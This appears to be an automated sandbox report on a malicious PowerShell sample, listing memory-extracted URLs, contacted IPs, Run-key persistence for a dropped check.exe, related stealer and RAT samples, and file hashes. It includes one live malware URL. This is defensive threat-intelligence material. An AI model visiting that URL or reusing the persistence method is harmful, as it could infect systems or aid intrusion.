Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/giampaolo/psutil/issues/875.	check.exe, 0000000A.00000002.1837968089.000001DB1A7C4000.00000004.00001000.00020000.00000000.sdmp	false		high
https://nodejs.org/dist/v22.11.0/node-v22.11.0-win-x64.zip	check.exe, 0000000A.00000002.1820912917.000001DB19560000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#	check.exe, 0000000A.00000002.1817265869.000001DB173A9000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1817775240.000001DB18F20000.00000004.00000020.00020000.00000000.sdmp	false		high
https://packaging.python.org/en/latest/specifications/recording-installed-packages/#the-record-file	check.exe, 0000000A.00000002.1817775240.000001DB18F20000.00000004.00000020.00020000.00000000.sdmp	false		high
http://goo.gl/zeJZl.	check.exe, 0000000A.00000002.1827037234.000001DB19F80000.00000004.00001000.00020000.00000000.sdmp	false		high
https://tools.ietf.org/html/rfc2388#section-4.4	check.exe, 0000000A.00000003.1589120882.000001DB198B9000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1821926701.000001DB1988C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64	check.exe, 0000000A.00000003.1586390374.000001DB198CD000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000003.1586442426.000001DB198AE000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1821926701.000001DB1988C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://packaging.python.org/en/latest/specifications/entry-points/#file-format	check.exe, 0000000A.00000002.1817775240.000001DB18F20000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.dhimyotis.com/certignarootca.crlI	check.exe, 0000000A.00000002.1821926701.000001DB19AE0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://hkinuxb3bz.top/1.php?s=527	powershell.exe, 00000005.00000002.1553618061.000001E5185D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.securetrust.com/SGCA.crld:4	check.exe, 0000000A.00000002.1821926701.000001DB19A89000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963	check.exe, 0000000A.00000002.1821539091.000001DB19660000.00000004.00001000.00020000.00000000.sdmp	false		high
http://cacerts.digi	check.exe, 00000009.00000003.1557034800.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1564570590.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0205/	check.exe, 0000000A.00000003.1578448364.000001DB192E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1820377142.000001DB19460000.00000004.00001000.00020000.00000000.sdmp, check.exe, 0000000A.00000003.1566990368.000001DB18F21000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.dhimyotis.com/certignarootca.crl	check.exe, 0000000A.00000002.1821926701.000001DB19AE0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://curl.haxx.se/rfc/cookie_spec.html	check.exe, 0000000A.00000003.1589519363.000001DB199A2000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000003.1589120882.000001DB1998F000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000003.1588922999.000001DB19A49000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1826258226.000001DB19D90000.00000004.00001000.00020000.00000000.sdmp	false		high
http://ocsp.accv.es	check.exe, 0000000A.00000002.1821926701.000001DB19AE0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000005.00000002.1553618061.000001E5183B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.ExecutionLoader.get_filename	check.exe, 0000000A.00000002.1817508785.000001DB18D20000.00000004.00001000.00020000.00000000.sdmp	false		high
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxy	check.exe, 0000000A.00000002.1825553124.000001DB19B60000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688	check.exe, 0000000A.00000002.1817508785.000001DB18DA4000.00000004.00001000.00020000.00000000.sdmp	false		high
https://httpbin.org/get	check.exe, 0000000A.00000002.1826258226.000001DB19D90000.00000004.00001000.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1821926701.000001DB19A5B000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1821926701.000001DB1988C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000005.00000002.1553618061.000001E5185D9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000005.00000002.1553618061.000001E5185D9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000005.00000002.1553618061.000001E519EBE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1553618061.000001E5185D9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000005.00000002.1553618061.000001E5185D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_code	check.exe, 0000000A.00000002.1817508785.000001DB18D20000.00000004.00001000.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000005.00000002.1553618061.000001E5197B0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://wwww.certigna.fr/autorites/0m	check.exe, 0000000A.00000002.1821926701.000001DB19AE0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader	check.exe, 0000000A.00000002.1817265869.000001DB173A9000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1817775240.000001DB18F20000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/issues/86361.	check.exe, 0000000A.00000003.1578448364.000001DB192E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000003.1577442083.000001DB1932C000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1818046790.000001DB19260000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000003.1576602943.000001DB193B9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://mail.python.org/pipermail/python-dev/2012-June/120787.html.	check.exe, 0000000A.00000002.1826258226.000001DB19D90000.00000004.00001000.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1821926701.000001DB1988C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://httpbin.org/	check.exe, 0000000A.00000002.1821926701.000001DB1988C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://wwww.certigna.fr/autorites/	check.exe, 0000000A.00000002.1821926701.000001DB19AE0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.exec_module	check.exe, 0000000A.00000002.1817508785.000001DB18D20000.00000004.00001000.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.MetaPathFinder.invalidate_caches	check.exe, 0000000A.00000002.1817508785.000001DB18D20000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.color.org)	check.exe, 0000000A.00000002.1893210919.00007FF8163DA000.00000002.00000001.01000000.00000023.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000005.00000002.1553618061.000001E5185D9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535	check.exe, 0000000A.00000002.1818046790.000001DB1940B000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1821926701.000001DB197AB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy	check.exe, 0000000A.00000002.1817265869.000001DB173A9000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1817775240.000001DB18F20000.00000004.00000020.00020000.00000000.sdmp	false		high
https://packaging.python.org/en/latest/specifications/core-metadata/#core-metadata	check.exe, 0000000A.00000002.1825899036.000001DB19C60000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crl.securetrust.com/STCA.crl	check.exe, 0000000A.00000002.1821926701.000001DB19A89000.00000004.00000020.00020000.00000000.sdmp	false		high
http://wwwsearch.sf.net/):	check.exe, 0000000A.00000003.1589714879.000001DB1998F000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000003.1589519363.000001DB199A2000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000003.1589120882.000001DB1998F000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000003.1588922999.000001DB19A49000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1821926701.000001DB19973000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/python/importlib_metadata/wiki/Development-Methodology	check.exe, 0000000A.00000002.1820912917.000001DB19560000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0	check.exe, 0000000A.00000002.1821926701.000001DB19A89000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1821926701.000001DB19AE0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.accv.es/legislacion_c.htm	check.exe, 0000000A.00000002.1821926701.000001DB19A89000.00000004.00000020.00020000.00000000.sdmp	false		high
http://tools.ietf.org/html/rfc6125#section-6.4.3	check.exe, 0000000A.00000002.1825899036.000001DB19C60000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.cert.fnmt.es/dpcs/lly	check.exe, 0000000A.00000002.1821926701.000001DB19AE0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.xrampsecurity.com/XGCA.crl0	check.exe, 0000000A.00000002.1821926701.000001DB1988C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000005.00000002.1553618061.000001E519EBE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1553618061.000001E5185D9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.cert.fnmt.es/dpcs/	check.exe, 0000000A.00000002.1821926701.000001DB19AE0000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1821926701.000001DB19792000.00000004.00000020.00020000.00000000.sdmp	false		high
https://google.com/mail	check.exe, 0000000A.00000003.1589120882.000001DB19912000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000003.1589120882.000001DB198DC000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1821926701.000001DB1988C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://packaging.python.org/specifications/entry-points/	check.exe, 0000000A.00000002.1825553124.000001DB19B60000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.accv.es00	check.exe, 0000000A.00000002.1821926701.000001DB19A89000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.python.org/psf/license/)	check.exe, 0000000A.00000002.1926008632.00007FF817DB8000.00000002.00000001.01000000.0000000A.sdmp	false		high
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py	check.exe, 0000000A.00000002.1817775240.000001DB18F20000.00000004.00000020.00020000.00000000.sdmp	false		high
https://foss.heptapod.net/pypy/pypy/-/issues/3539	check.exe, 0000000A.00000002.1821539091.000001DB19660000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.	check.exe, 0000000A.00000002.1818046790.000001DB19260000.00000004.00000020.00020000.00000000.sdmp	false		high
http://google.com/	check.exe, 0000000A.00000002.1818046790.000001DB19260000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mahler:8092/site-updates.py	check.exe, 0000000A.00000002.1821926701.000001DB19A5B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.securetrust.com/SGCA.crl	check.exe, 0000000A.00000002.1821926701.000001DB19A89000.00000004.00000020.00020000.00000000.sdmp	false		high
http://.../back.jpeg	check.exe, 0000000A.00000002.1826258226.000001DB19D90000.00000004.00001000.00020000.00000000.sdmp	false		high
https://tools.ietf.org/html/rfc7231#section-4.3.6)	check.exe, 0000000A.00000003.1586442426.000001DB197B0000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1821926701.000001DB197AB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://httpbin.org/post	check.exe, 0000000A.00000003.1589037099.000001DB19455000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000003.1587483493.000001DB19455000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1818046790.000001DB1940B000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000003.1585208154.000001DB19455000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_source	check.exe, 0000000A.00000002.1817508785.000001DB18DA4000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/Ousret/charset_normalizer	check.exe, 0000000A.00000003.1589120882.000001DB19912000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1821926701.000001DB1988C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.firmaprofesional.com/cps0	check.exe, 0000000A.00000002.1818046790.000001DB1940B000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1821926701.000001DB19AE0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.PathEntryFinder.find_spec	check.exe, 0000000A.00000002.1817508785.000001DB18D20000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/urllib3/urllib3/issues/2920	check.exe, 0000000A.00000002.1825899036.000001DB19C60000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crl.securetrust.com/SGCA.crl0	check.exe, 0000000A.00000002.1821926701.000001DB1988C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.ResourceLoader.get_data	check.exe, 0000000A.00000002.1817775240.000001DB18F20000.00000004.00000020.00020000.00000000.sdmp	false		high
https://yahoo.com/	check.exe, 0000000A.00000003.1589120882.000001DB19912000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000003.1589120882.000001DB198DC000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1821926701.000001DB1988C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.securetrust.com/STCA.crl0	check.exe, 0000000A.00000002.1821926701.000001DB1988C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://.../back.j	check.exe, 0000000A.00000002.1821926701.000001DB19A89000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6	check.exe, 0000000A.00000003.1589120882.000001DB198DC000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1821926701.000001DB1988C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://html.spec.whatwg.org/multipage/	check.exe, 0000000A.00000003.1589120882.000001DB19912000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1821926701.000001DB1988C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.quovadisglobal.com/cps0	check.exe, 0000000A.00000002.1821926701.000001DB19973000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl	check.exe, 0000000A.00000002.1821926701.000001DB19A89000.00000004.00000020.00020000.00000000.sdmp	false		high
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings	check.exe, 0000000A.00000002.1825553124.000001DB19B60000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl0	check.exe, 0000000A.00000002.1821926701.000001DB19A89000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.rfc-editor.org/rfc/rfc8259#section-8.1	check.exe, 0000000A.00000003.1589120882.000001DB198B9000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1821926701.000001DB197AB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://requests.readthedocs.io	check.exe, 0000000A.00000002.1827037234.000001DB19F10000.00000004.00001000.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1818046790.000001DB1940B000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000003.1585208154.000001DB19455000.00000004.00000020.00020000.00000000.sdmp	false		high
http://repository.swisssign.com/	check.exe, 0000000A.00000002.1821926701.000001DB19A89000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1818046790.000001DB1940B000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1821926701.000001DB19A5B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.xrampsecurity.com/XGCA.crl	check.exe, 0000000A.00000002.1821926701.000001DB19A89000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.python.org	check.exe, 0000000A.00000003.1589037099.000001DB19455000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000003.1587483493.000001DB19455000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1818046790.000001DB1940B000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000003.1585208154.000001DB19455000.00000004.00000020.00020000.00000000.sdmp	false		high
http://code.activestate.com/recipes/577452-a-memoize-decorator-for-instance-methods/	check.exe, 0000000A.00000003.1589120882.000001DB19912000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1821926701.000001DB1988C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.accv.es/legislacion_c.htm0U	check.exe, 0000000A.00000002.1821926701.000001DB19A89000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.aiim.org/pdfa/ns/id/	check.exe, 0000000A.00000002.1893210919.00007FF8163DA000.00000002.00000001.01000000.00000023.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.accv.es0	check.exe, 0000000A.00000002.1821926701.000001DB19A89000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.python.org/	check.exe, 0000000A.00000002.1821926701.000001DB19A5B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://json.org	check.exe, 0000000A.00000002.1821926701.000001DB1988C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.python.org/3/howto/mro.html.	check.exe, 0000000A.00000003.1570112394.000001DB18FAE000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000003.1570091446.000001DB19011000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1817883773.000001DB19160000.00000004.00001000.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.is_package	check.exe, 0000000A.00000002.1817508785.000001DB18D20000.00000004.00001000.00020000.00000000.sdmp	false		high
https://twitter.com/	check.exe, 0000000A.00000003.1589120882.000001DB19912000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1821926701.000001DB1988C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://stackoverflow.com/questions/4457745#4457745.	check.exe, 0000000A.00000002.1837968089.000001DB1A7C4000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.quovadisglobal.com/cps	check.exe, 0000000A.00000002.1818046790.000001DB1940B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.create_module	check.exe, 0000000A.00000002.1817508785.000001DB18DA4000.00000004.00001000.00020000.00000000.sdmp	false		high
https://google.com/	check.exe, 0000000A.00000002.1821926701.000001DB1988C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://google.com/mail/	check.exe, 0000000A.00000002.1821926701.000001DB1988C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://google.com/mail/	check.exe, 0000000A.00000002.1821926701.000001DB19792000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.20.22.46	nodejs.org	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1571247
Start date and time:	2024-12-09 07:25:29 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	42
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	download.ps1
Detection:	MAL
Classification:	mal80.spyw.evad.winPS1@39/433@1/1
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 57% Number of executed functions: 48 Number of non-executed functions: 323
Cookbook Comments:	Found application associated with file extension: .ps1

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, Sgrmuserer.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.42.73.29
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target check.exe, PID 1132 because there are no executed function
Execution Graph export aborted for target check.exe, PID 3104 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
01:26:39	API Interceptor	43x Sleep call for process: powershell.exe modified
01:26:56	API Interceptor	3x Sleep call for process: check.exe modified
01:26:58	API Interceptor	3x Sleep call for process: WMIC.exe modified
01:27:15	API Interceptor	3x Sleep call for process: WerFault.exe modified
07:26:46	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run NetUtilityApp C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
07:26:54	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run NetUtilityApp C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
104.20.22.46	check.exe	Get hash	malicious	Unknown	Browse
	sDKRz09zM7.exe	Get hash	malicious	AsyncRAT, XWorm	Browse
	kwlYObMOSn.exe	Get hash	malicious	XWorm	Browse
	8Hd0ZExgJz.exe	Get hash	malicious	Blank Grabber, Umbral Stealer, XWorm	Browse
	IM3OLcx7li.exe	Get hash	malicious	XWorm	Browse
	cgqdM4IA7C.exe	Get hash	malicious	XWorm	Browse
	hKWBNgRd7p.exe	Get hash	malicious	XWorm	Browse
	SecuriteInfo.com.Win64.MalwareX-gen.31726.9623.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.MalwareX-gen.31726.9623.exe	Get hash	malicious	Unknown	Browse
	RHUENHera1.exe	Get hash	malicious	AsyncRAT, XWorm	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
nodejs.org	download.ps1	Get hash	malicious	Unknown	Browse	104.20.23.46
	check.exe	Get hash	malicious	Unknown	Browse	104.20.23.46
	check.exe	Get hash	malicious	Unknown	Browse	104.20.22.46
	az10.exe	Get hash	malicious	Unknown	Browse	104.20.23.46
	sDKRz09zM7.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	104.20.22.46
	kwlYObMOSn.exe	Get hash	malicious	XWorm	Browse	104.20.22.46
	bootstraper.exe	Get hash	malicious	Unknown	Browse	104.20.23.46
	bootstraper.exe	Get hash	malicious	Unknown	Browse	104.20.23.46
	8Hd0ZExgJz.exe	Get hash	malicious	Blank Grabber, Umbral Stealer, XWorm	Browse	104.20.22.46
	KKjubdmzCR.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.20.23.46

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	x.ps1	Get hash	malicious	PureLog Stealer, Quasar	Browse	104.26.12.205
	cllmxIZWcQ.lnk	Get hash	malicious	Unknown	Browse	172.67.209.252
	DXzJ8Bi7WC.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	IJGLxMMTaK.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	cd94pB4Z9p.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	IJGLxMMTaK.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	AmNdY4tRXD.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	NEW.RFQ00876.pdf.exe	Get hash	malicious	FormBook	Browse	172.67.145.234
	SN500, SN150 Spec.exe	Get hash	malicious	FormBook	Browse	172.67.177.137
	Hesap_Hareketleri_09122024_html.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\MSVCP140.dll	download.ps1	Get hash	malicious	Unknown	Browse
	check.exe	Get hash	malicious	Unknown	Browse
	check.exe	Get hash	malicious	Unknown	Browse
	az10.exe	Get hash	malicious	Unknown	Browse
	Update_4112024.exe	Get hash	malicious	Unknown	Browse
	Update_4112024.exe	Get hash	malicious	Unknown	Browse
	PyQtScrcpy.exe	Get hash	malicious	Unknown	Browse
	PyQtScrcpy.exe	Get hash	malicious	Unknown	Browse
	active.exe	Get hash	malicious	Unknown	Browse
	PumpBotPremium.msi	Get hash	malicious	Python Stealer	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_check.exe_ee4b2146e406d55d1d7bff4ca9740b54ae3d236_f571cb24_2a5eb0fe-0972-454e-8954-f74986fe8bfc\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.355804026402155
Encrypted:	false
SSDEEP:	192:a3Ml6n/0PRjijoRa+xhp2mQYfiyYgoFvNMYaqyp9QrKwn7xlXszLVVLv1SnYzuil:NlasPRjij83wntIRzuiFNY4lO81
MD5:	77440C7BF91434F3ED1F0AD61B84F76F
SHA1:	B872B5D8BCA08FB4B04D855BDFAA2FC677F3D621
SHA-256:	1CB2766D92669D4B76C064F9A0938F408C92E3AAE8E772F2287784323835C8AC
SHA-512:	1DCA2BA8A5DB0E81F6C330F4540ABA82C14C17EE0CF710EC1B61122FAB4217F3AA0660A92C3BA55F2076C5BFFF02FFCDCA9FEA7F4FC54F2905C0DB81D949E10F
Malicious:	false
